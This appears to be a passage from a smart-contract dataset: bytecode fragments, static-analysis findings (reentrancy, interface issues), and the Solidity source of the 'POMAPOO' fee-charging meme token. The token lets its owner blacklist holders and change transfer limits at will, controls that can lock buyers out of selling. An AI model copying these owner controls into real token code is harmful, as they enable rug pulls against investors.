2976130ad565b602002015161ffff16156122eb578181600581106122b7576122b76130ad565b602002015161ffff16826122cc600184612f92565b600581106122dc576122dc6130ad565b602002015161ffff1611612308565b8181600581106122fd576122fd6130ad565b602002015161ffff16155b6123445760405162461bcd60e51b815260206004820152600d60248201526c696e76616c6964206974656d7360981b604482015260640161061b565b818160058110612356576123566130ad565b602002015161ffff16156124475760015433906001600160a01b0316636352211e848460058110612389576123896130ad565b60200201516040516001600160e01b031960e084901b16815261ffff909116600482015260240160206040518083038186803b1580156123c857600080fd5b505afa1580156123dc573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906124009190612a93565b6001600160a01b0316146124475760405162461bcd60e51b815260206004820152600e60248201526d3737ba1034ba32b69037bbb732b960911b604482015260640161061b565b806124518161303c565b915050612272565b60006124706001600160c01b0319831660066127dd565b905060006124896001600160c01b0319841660046127dd565b905060006124a26001600160c01b0319851660056127dd565b600114905060006124be6001600160c01b0319861660036127dd565b600114905060006124d7876005602002015160076127dd565b905060ff60c887901c1660005b60068110156126715761250e898260068110612502576125026130ad565b602002015160006127dd565b8a518b9061251d908390612ed4565b905250612544898260068110612535576125356130ad565b60200201516001600688612888565b8a6020018181516125559190612ed4565b905250600061257e8a836006811061256f5761256f6130ad565b60200201516002600488612888565b9050600061258c85856128c3565b9050806003146125d957806002146125a55760016125a8565b60025b60ff16816001146125ba5760016125bd565b60025b6125ca9060ff1684612f4a565b6125d49190612f36565b6125dc565b60005b8c6040018181516125ed9190612ed4565b90525060608c0151612618908c856006811061260b5761260b6130ad565b602002015160058c61294d565b60608d015260808c0151612645908c8560068110612638576126386130ad565b602002015160038b61294d565b60808d01819052612657908686612963565b60808d0152508190506126698161303c565b9150506124e4565b50505050505050505050565b60006703782dace9d9000061269486868686610afe565b61269e9190613057565b6126a9906001612ed4565b95945050505050565b60008064e8d4a510006126c68560016127dd565b86606001516126d59190612f4a565b6126df9190612f36565b9050600064e8d4a510006126f48660026127dd565b87608001516127039190612f4a565b61270d9190612f36565b90506000670de0b6b3a7640000858860400151896020015161272f9190612ed4565b6127399190612f4a565b6127439190612f36565b876040015188602001516127579190612ed4565b6127619190612ed4565b87519091506127708385612ed4565b118061278557506127828660006127dd565b81105b1561279657600093505050506127d6565b818388600001516127a88960006127dd565b6127b29085612f92565b6127bc9190612ed4565b6127c69190612f92565b6127d09190612ed4565b93505050505b9392505050565b6000808260078111156127f2576127f2613097565b90508060ff166007141561280f578360b01c60ff16915050612882565b60038160ff16101561284557612826816010612f69565b60ff16846001600160b01b031916901b60f01c61ffff16915050612882565b612850600382612fa9565b60ff1661285e600383612fa9565b60ff166001901b6030866001600160b01b031916901b60f01c61ffff1616901c9150505b92915050565b600061289485846127dd565b15801561289e5750815b6128a95760016128ac565b60025b60ff166128b986866127dd565b6126a99190612f36565b60008215806128d0575081155b156128dd57506000612882565b6128e8600183612f92565b83148061290057508260041480156129005750816001145b1561290d57506001612882565b81612919600185612f92565b148061293057508260011480156129305750816004145b1561293d57506002612882565b8183141561288257506003612882565b60006126a98561295d86866127dd565b846129e9565b60008061297084846128c3565b90508061298057849150506127d6565b80600314156129935760009150506127d6565b80600114156129cd576129ac64e8d4a510006002612f4a565b6129bb64e8d4a5100087612f4a565b6129c59190612f36565b9150506127d6565b64e8d4a51000806129df876002612f4a565b6128b99190612f4a565b600064e8d4a51000821580156129ff5750836001145b612a0e5764e8d4a51000612a15565b64746a5288005b612a1f9086612f4a565b610c289190612f36565b6040518060a001604052806005906020820280368337509192915050565b60008083601f840112612a5957600080fd5b50813567ffffffffffffffff811115612a7157600080fd5b6020830191508360208260051b8501011115612a8c57600080fd5b9250929050565b600060208284031215612aa557600080fd5b81516127d6816130d9565b60008060408385031215612ac357600080fd5b8235612ace816130d9565b91506020830135612ade816130d9565b809150509250929050565b600080600060608486031215612afe57600080fd5b8335612b09816130d9565b925060208401359150604084013567ffffffffffffffff81168114612b2d57600080fd5b809150509250925092565b600080600080600080600060e0888a031215612b5357600080fd5b8735612b5e816130d9565b9960208901359950604089013598606081013598506080810135975060a0810135965060c00135945092505050565b600060c08284031215612b9f57600080fd5b82601f830112612bae57600080fd5b60405160c0810181811067ffffffffffffffff82111715612bd157612bd16130c3565b604052808360c08101861015612be657600080fd5b60005b6006811015612c12578151612bfd816130f1565b83526020928301929190910190600101612be9565b509195945050505050565b60008060008060408587031215612c3357600080fd5b843567ffffffffffffffff80821115612c4b57600080fd5b612c5788838901612a47565b90965094506020870135915080821115612c7057600080fd5b50612c7d87828801612a47565b95989497509550505050565b600060208284031215612c9b57600080fd5b815180151581146127d657600080fd5b600060208284031215612cbd57600080fd5b5035919050565b60008060408385031215612cd757600080fd5b823591506020830135612ade816130d9565b600060208284031215612cfb57600080fd5b5051919050565b60008060408385031215612d1557600080fd5b8235915060208084013567ffffffffffffffff80821115612d3557600080fd5b818601915086601f830112612d4957600080fd5b813581811115612d5b57612d5b6130c3565b8060051b9150612d6c848301612ea3565b8181528481019084860184860187018b1015612d8757600080fd5b600095505b83861015612daa578035835260019590950194918601918601612d8c565b508096505050505050509250929050565b60008060408385031215612dce57600080fd5b823591506020830135612ade816130f1565b600080600060608486031215612df557600080fd5b83359250602084013591506040840135612b2d816130f1565b60008060008060808587031215612e2457600080fd5b84359350602085013592506040850135612e3d816130f1565b91506060850135612e4d816130d9565b939692955090935050565b6020808252600b908201526a1b9bdd08185b1b1bddd95960aa1b604082015260600190565b6020808252600c908201526b1b9bdd08199a5b9a5cda195960a21b604082015260600190565b604051601f8201601f1916810167ffffffffffffffff81118282101715612ecc57612ecc6130c3565b604052919050565b60008219821115612ee757612ee761306b565b500190565b600063ffffffff808316818516808303821115612f0b57612f0b61306b565b01949350505050565b600066ffffffffffffff808316818516808303821115612f0b57612f0b61306b565b600082612f4557612f45613081565b500490565b6000816000190483118215151615612f6457612f6461306b565b500290565b600060ff821660ff84168160ff0481118215151615612f8a57612f8a61306b565b029392505050565b600082821015612fa457612fa461306b565b500390565b600060ff821660ff841680821015612fc357612fc361306b565b90039392505050565b805160208201516001600160c01b03198082169291906008831015612ffb5780818460080360031b1b83161693505b505050919050565b6000816130125761301261306b565b506000190190565b600061ffff808316818114156130325761303261306b565b6001019392505050565b60006000198214156130505761305061306b565b5060010190565b60008261306657613066613081565b500690565b634e487b7160e01b600052601160045260246000fd5b634e487b7160e01b600052601260045260246000fd5b634e487b7160e01b600052602160045260246000fd5b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146130ee57600080fd5b50565b6001600160b01b0319811681146130ee57600080fdfeb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103a26469706673582212202c758ae1f74349abcc3d8608d3e91d573192f08051a3cc29938442b6f5f5235b64736f6c63430008070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc721-interface", "impact": "Medium", "confidence": "High"}]}}
| 3,740 |
0x882acfdd2bf1d11649cebd8fd73a2473c3912489
|
/**
//SPDX-License-Identifier: UNLICENSED
Telegram: https://t.me/pomapoo_portal
*/
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB) external returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint amountIn,
uint amountOutMin,
address[] calldata path,
address to,
uint deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint amountTokenDesired,
uint amountTokenMin,
uint amountETHMin,
address to,
uint deadline
) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}
contract POMAPOO is Context, IERC20, Ownable {
using SafeMath for uint256;
mapping (address => uint256) private _rOwned;
mapping (address => uint256) private _tOwned;
mapping (address => mapping (address => uint256)) private _allowances;
mapping (address => bool) public isExcludedFromFee;
mapping (address => bool) public isExcludedFromLimit;
mapping (address => bool) private bots;
mapping (address => uint) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 public swapThreshold = 100_000_000 * 10**9;
uint256 private _reflectionFee = 0;
uint256 private _teamFee = 11;
address payable private _feeAddrWallet1;
address payable private _feeAddrWallet2;
string private constant _name = "Pomapoo";
string private constant _symbol = "POMAPOO";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap;
bool private swapEnabled;
bool private cooldownEnabled;
uint256 private _maxTxAmount = 30_000_000_000 * 10**9;
uint256 private _maxWalletAmount = 30_000_000_000 * 10**9;
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor (address wallet1, address wallet2) {
_feeAddrWallet1 = payable(wallet1);
_feeAddrWallet2 = payable(wallet2);
_rOwned[_msgSender()] = _rTotal;
isExcludedFromFee[owner()] = true;
isExcludedFromFee[address(this)] = true;
isExcludedFromFee[_feeAddrWallet1] = true;
isExcludedFromFee[_feeAddrWallet2] = true;
isExcludedFromLimit[owner()] = true;
isExcludedFromLimit[address(this)] = true;
isExcludedFromLimit[address(0xdead)] = true;
isExcludedFromLimit[_feeAddrWallet1] = true;
isExcludedFromLimit[_feeAddrWallet2] = true;
emit Transfer(address(this), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(balanceOf(from) >= amount, "ERC20: transfer amount exceeds balance");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (!isExcludedFromLimit[from] || (from == uniswapV2Pair && !isExcludedFromLimit[to])) {
require(amount <= _maxTxAmount, "Anti-whale: Transfer amount exceeds max limit");
}
if (!isExcludedFromLimit[to]) {
require(balanceOf(to) + amount <= _maxWalletAmount, "Anti-whale: Wallet amount exceeds max limit");
}
if (from == uniswapV2Pair && to != address(uniswapV2Router) && !isExcludedFromFee[to] && cooldownEnabled) {
// Cooldown
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (60 seconds);
}
uint256 contractTokenBalance = balanceOf(address(this));
if (!inSwap && from != uniswapV2Pair && swapEnabled && contractTokenBalance >= swapThreshold) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if(contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
_tokenTransfer(from,to,amount);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_feeAddrWallet1.transfer(amount.div(2));
_feeAddrWallet2.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
isExcludedFromLimit[address(uniswapV2Router)] = true;
isExcludedFromLimit[uniswapV2Pair] = true;
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function changeMaxTxAmount(uint256 amount) public onlyOwner {
_maxTxAmount = amount;
}
function changeMaxWalletAmount(uint256 amount) public onlyOwner {
_maxWalletAmount = amount;
}
function changeSwapThreshold(uint256 amount) public onlyOwner {
swapThreshold = amount;
}
function excludeFromFees(address account, bool excluded) public onlyOwner {
isExcludedFromFee[account] = excluded;
}
function excludeFromLimits(address account, bool excluded) public onlyOwner {
isExcludedFromLimit[account] = excluded;
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender, address recipient, uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender, address recipient, uint256 tAmount) private {
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect, uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
_rOwned[recipient] = _rOwned[recipient].add(rAmount);
emit Transfer(sender, recipient, tAmount);
} else {
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rReflect, tReflect);
emit Transfer(sender, recipient, tTransferAmount);
}
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function manualSwap() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualSend() external {
require(_msgSender() == _feeAddrWallet1);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tReflect, uint256 tTeam) = _getTValues(tAmount, _reflectionFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rReflect) = _getRValues(tAmount, tReflect, tTeam, currentRate);
return (rAmount, rTransferAmount, rReflect, tTransferAmount, tReflect, tTeam);
}
function _getTValues(uint256 tAmount, uint256 reflectFee, uint256 teamFee) private pure returns (uint256, uint256, uint256) {
uint256 tReflect = tAmount.mul(reflectFee).div(100);
uint256 tTeam = tAmount.mul(teamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tReflect).sub(tTeam);
return (tTransferAmount, tReflect, tTeam);
}
function _getRValues(uint256 tAmount, uint256 tReflect, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rReflect = tReflect.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rReflect).sub(rTeam);
return (rAmount, rTransferAmount, rReflect);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
}
|
0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b515566a1161008a578063c9567bf911610064578063c9567bf91461049d578063d94160e0146104b2578063dd62ed3e146104e2578063f42938901461052857600080fd5b8063b515566a1461043d578063c02466681461045d578063c0a904a21461047d57600080fd5b8063715018a61461037a57806381bfdcca1461038f57806389f425e7146103af5780638da5cb5b146103cf57806395d89b41146103ed578063a9059cbb1461041d57600080fd5b8063313ce5671161013e5780635342acb4116101185780635342acb4146102ea5780635932ead11461031a578063677daa571461033a57806370a082311461035a57600080fd5b8063313ce5671461028157806349bd5a5e1461029d57806351bc3c85146102d557600080fd5b80630445b6671461019157806306fdde03146101ba578063095ea7b3146101f357806318160ddd1461022357806323b872dd1461023f578063273123b71461025f57600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a7600b5481565b6040519081526020015b60405180910390f35b3480156101c657600080fd5b50604080518082019091526007815266506f6d61706f6f60c81b60208201525b6040516101b19190611d03565b3480156101ff57600080fd5b5061021361020e366004611b94565b61053d565b60405190151581526020016101b1565b34801561022f57600080fd5b50683635c9adc5dea000006101a7565b34801561024b57600080fd5b5061021361025a366004611b27565b610554565b34801561026b57600080fd5b5061027f61027a366004611ab7565b6105bd565b005b34801561028d57600080fd5b50604051600981526020016101b1565b3480156102a957600080fd5b506011546102bd906001600160a01b031681565b6040516001600160a01b0390911681526020016101b1565b3480156102e157600080fd5b5061027f610611565b3480156102f657600080fd5b50610213610305366004611ab7565b60056020526000908152604090205460ff1681565b34801561032657600080fd5b5061027f610335366004611c86565b61064a565b34801561034657600080fd5b5061027f610355366004611cbe565b610692565b34801561036657600080fd5b506101a7610375366004611ab7565b6106c1565b34801561038657600080fd5b5061027f6106e3565b34801561039b57600080fd5b5061027f6103aa366004611cbe565b610757565b3480156103bb57600080fd5b5061027f6103ca366004611cbe565b610786565b3480156103db57600080fd5b506000546001600160a01b03166102bd565b3480156103f957600080fd5b50604080518082019091526007815266504f4d41504f4f60c81b60208201526101e6565b34801561042957600080fd5b50610213610438366004611b94565b6107b5565b34801561044957600080fd5b5061027f610458366004611bbf565b6107c2565b34801561046957600080fd5b5061027f610478366004611b67565b610866565b34801561048957600080fd5b5061027f610498366004611b67565b6108bb565b3480156104a957600080fd5b5061027f610910565b3480156104be57600080fd5b506102136104cd366004611ab7565b60066020526000908152604090205460ff1681565b3480156104ee57600080fd5b506101a76104fd366004611aef565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b34801561053457600080fd5b5061027f610cfb565b600061054a338484610d25565b5060015b92915050565b6000610561848484610e49565b6105b384336105ae85604051806060016040528060288152602001611ed4602891396001600160a01b038a166000908152600460209081526040808320338452909152902054919061128f565b610d25565b5060019392505050565b6000546001600160a01b031633146105f05760405162461bcd60e51b81526004016105e790611d56565b60405180910390fd5b6001600160a01b03166000908152600760205260409020805460ff19169055565b600e546001600160a01b0316336001600160a01b03161461063157600080fd5b600061063c306106c1565b9050610647816112c9565b50565b6000546001600160a01b031633146106745760405162461bcd60e51b81526004016105e790611d56565b60118054911515600160b81b0260ff60b81b19909216919091179055565b6000546001600160a01b031633146106bc5760405162461bcd60e51b81526004016105e790611d56565b601255565b6001600160a01b03811660009081526002602052604081205461054e9061146e565b6000546001600160a01b0316331461070d5760405162461bcd60e51b81526004016105e790611d56565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146107815760405162461bcd60e51b81526004016105e790611d56565b601355565b6000546001600160a01b031633146107b05760405162461bcd60e51b81526004016105e790611d56565b600b55565b600061054a338484610e49565b6000546001600160a01b031633146107ec5760405162461bcd60e51b81526004016105e790611d56565b60005b81518110156108625760016007600084848151811061081e57634e487b7160e01b600052603260045260246000fd5b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061085a81611e69565b9150506107ef565b5050565b6000546001600160a01b031633146108905760405162461bcd60e51b81526004016105e790611d56565b6001600160a01b03919091166000908152600560205260409020805460ff1916911515919091179055565b6000546001600160a01b031633146108e55760405162461bcd60e51b81526004016105e790611d56565b6001600160a01b03919091166000908152600660205260409020805460ff1916911515919091179055565b6000546001600160a01b0316331461093a5760405162461bcd60e51b81526004016105e790611d56565b601154600160a01b900460ff16156109945760405162461bcd60e51b815260206004820152601760248201527f74726164696e6720697320616c7265616479206f70656e00000000000000000060448201526064016105e7565b601080546001600160a01b031916737a250d5630b4cf539739df2c5dacb4c659f2488d9081179091556109d13082683635c9adc5dea00000610d25565b806001600160a01b031663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610a0a57600080fd5b505afa158015610a1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a429190611ad3565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610a8a57600080fd5b505afa158015610a9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ac29190611ad3565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381600087803b158015610b0a57600080fd5b505af1158015610b1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b429190611ad3565b601180546001600160a01b0319166001600160a01b03928316178155601080548316600090815260066020526040808220805460ff1990811660019081179092559454861683529120805490931617909155541663f305d7194730610ba6816106c1565b600080610bbb6000546001600160a01b031690565b60405160e088901b6001600160e01b03191681526001600160a01b03958616600482015260248101949094526044840192909252606483015290911660848201524260a482015260c4016060604051808303818588803b158015610c1e57600080fd5b505af1158015610c32573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610c579190611cd6565b50506011805463ffff00ff60a01b198116630101000160a01b1790915560105460405163095ea7b360e01b81526001600160a01b03918216600482015260001960248201529116915063095ea7b390604401602060405180830381600087803b158015610cc357600080fd5b505af1158015610cd7573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108629190611ca2565b600e546001600160a01b0316336001600160a01b031614610d1b57600080fd5b47610647816114f2565b6001600160a01b038316610d875760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016105e7565b6001600160a01b038216610de85760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016105e7565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610ead5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016105e7565b6001600160a01b038216610f0f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016105e7565b80610f19846106c1565b1015610f765760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b60648201526084016105e7565b6000546001600160a01b03848116911614801590610fa257506000546001600160a01b03838116911614155b1561127f576001600160a01b03831660009081526007602052604090205460ff16158015610fe957506001600160a01b03821660009081526007602052604090205460ff16155b610ff257600080fd5b6001600160a01b03831660009081526006602052604090205460ff16158061104b57506011546001600160a01b03848116911614801561104b57506001600160a01b03821660009081526006602052604090205460ff16155b156110b8576012548111156110b85760405162461bcd60e51b815260206004820152602d60248201527f416e74692d7768616c653a205472616e7366657220616d6f756e74206578636560448201526c19591cc81b585e081b1a5b5a5d609a1b60648201526084016105e7565b6001600160a01b03821660009081526006602052604090205460ff1661115157601354816110e5846106c1565b6110ef9190611dfb565b11156111515760405162461bcd60e51b815260206004820152602b60248201527f416e74692d7768616c653a2057616c6c657420616d6f756e742065786365656460448201526a1cc81b585e081b1a5b5a5d60aa1b60648201526084016105e7565b6011546001600160a01b03848116911614801561117c57506010546001600160a01b03838116911614155b80156111a157506001600160a01b03821660009081526005602052604090205460ff16155b80156111b65750601154600160b81b900460ff165b15611204576001600160a01b03821660009081526008602052604090205442116111df57600080fd5b6111ea42603c611dfb565b6001600160a01b0383166000908152600860205260409020555b600061120f306106c1565b601154909150600160a81b900460ff1615801561123a57506011546001600160a01b03858116911614155b801561124f5750601154600160b01b900460ff165b801561125d5750600b548110155b1561127d5761126b816112c9565b47801561127b5761127b476114f2565b505b505b61128a838383611577565b505050565b600081848411156112b35760405162461bcd60e51b81526004016105e79190611d03565b5060006112c08486611e52565b95945050505050565b6011805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061131f57634e487b7160e01b600052603260045260246000fd5b6001600160a01b03928316602091820292909201810191909152601054604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561137357600080fd5b505afa158015611387573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ab9190611ad3565b816001815181106113cc57634e487b7160e01b600052603260045260246000fd5b6001600160a01b0392831660209182029290920101526010546113f29130911684610d25565b60105460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142b908590600090869030904290600401611d8b565b600060405180830381600087803b15801561144557600080fd5b505af1158015611459573d6000803e3d6000fd5b50506011805460ff60a81b1916905550505050565b60006009548211156114d55760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016105e7565b60006114df611582565b90506114eb83826115a5565b9392505050565b600e546001600160a01b03166108fc61150c8360026115a5565b6040518115909202916000818181858888f19350505050158015611534573d6000803e3d6000fd5b50600f546001600160a01b03166108fc61154f8360026115a5565b6040518115909202916000818181858888f19350505050158015610862573d6000803e3d6000fd5b61128a8383836115e7565b600080600061158f6117a7565b909250905061159e82826115a5565b9250505090565b60006114eb83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506117e9565b6000806000806000806115f987611817565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061162b9087611874565b6001600160a01b038a1660009081526002602090815260408083209390935560059052205460ff168061167657506001600160a01b03881660009081526005602052604090205460ff165b156116ff576001600160a01b03881660009081526002602052604090205461169e90876118b6565b6001600160a01b03808a1660008181526002602052604090819020939093559151908b16907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef906116f2908b815260200190565b60405180910390a361179c565b6001600160a01b03881660009081526002602052604090205461172290866118b6565b6001600160a01b03891660009081526002602052604090205561174481611915565b61174e848361195f565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161179391815260200190565b60405180910390a35b505050505050505050565b6009546000908190683635c9adc5dea000006117c382826115a5565b8210156117e057505060095492683635c9adc5dea0000092509050565b90939092509050565b6000818361180a5760405162461bcd60e51b81526004016105e79190611d03565b5060006112c08486611e13565b60008060008060008060008060006118348a600c54600d54611983565b9250925092506000611844611582565b905060008060006118578e8787876119d8565b919e509c509a509598509396509194505050505091939550919395565b60006114eb83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f77000081525061128f565b6000806118c38385611dfb565b9050838110156114eb5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016105e7565b600061191f611582565b9050600061192d8383611a28565b3060009081526002602052604090205490915061194a90826118b6565b30600090815260026020526040902055505050565b60095461196c9083611874565b600955600a5461197c90